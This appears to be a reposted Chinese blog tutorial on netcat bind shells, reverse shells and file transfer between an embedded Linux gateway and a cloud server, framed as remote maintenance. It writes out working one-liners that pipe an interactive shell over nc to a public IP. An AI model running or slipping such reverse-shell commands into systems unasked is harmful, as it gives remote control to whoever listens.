Netcat之正向shell、反向shell、文件传输

使用场景:
客户端:嵌入式Linux网关 root@Shuncom
服务器:阿里云服务器 root@VM_0_14_centos

1、正向shell
客户端连接服务器,获取服务器的shell
服务器:

[root@VM_0_14_centos ~]# mkfifo /tmp/fifo
[root@VM_0_14_centos ~]# cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 10000 > /tmp/fifo

客户端:

root@Shuncom:/tmp# nc 211.159.189.50 10000
[root@VM_0_14_centos ~]# ls
ls
data
dead.letter
project
raspberry-project
shuncom
SZ-City4-0907
tmp
You have new mail in /var/spool/mail/root
[root@VM_0_14_centos ~]#

2、反向shell
客户端连接服务器,服务器获取客户端的shell
服务器:

[root@VM_0_14_centos ~]# nc -l 10000

客户端:

root@Shuncom:/tmp# mkfifo fifo
root@Shuncom:/tmp# cat /tmp/fifo | /bin/sh -i 2>&1 | nc 211.159.189.50 10000 > /tmp/fifo

此时会在服务器得到客户端的shell

[root@VM_0_14_centos ~]# nc -l 10000


BusyBox v1.23.2 (2018-10-19 13:23:37 CST) built-in shell (ash)

@Shuncom:/tmp# ls
TZ
dhcp.leases
dnsmasq.d
etc
eth0
fifo
gcom.5859.11.1545484121.core
hosts
lib
lock
log
opkg-lists
overlay
reboot_boad
resolv.conf
resolv.conf.auto
run
shm
state
sysinfo
test.sh
time_ok
timeerror.log
tmpnet
usr
@Shuncom:/tmp#

项目中服务器可以通过业务协议向网关发送一条消息,网关去连接指定的服务器IP和Port,就建立了通道,在服务端就可以远程操作网关,查看网关信息。

3、文件传输
服务器:

[root@VM_0_14_centos tmp]# nc -l 9995 > a.sh

客户端

root@Shuncom:/tmp# nc 211.159.189.50 9995 < test.sh

即可在服务器得到文件

[root@VM_0_14_centos tmp]# ls
a.sh

用这种方式传输文件有一个好处就是不用输入密码

猜你喜欢

转载自blog.csdn.net/lyndon_li/article/details/85222672
今日推荐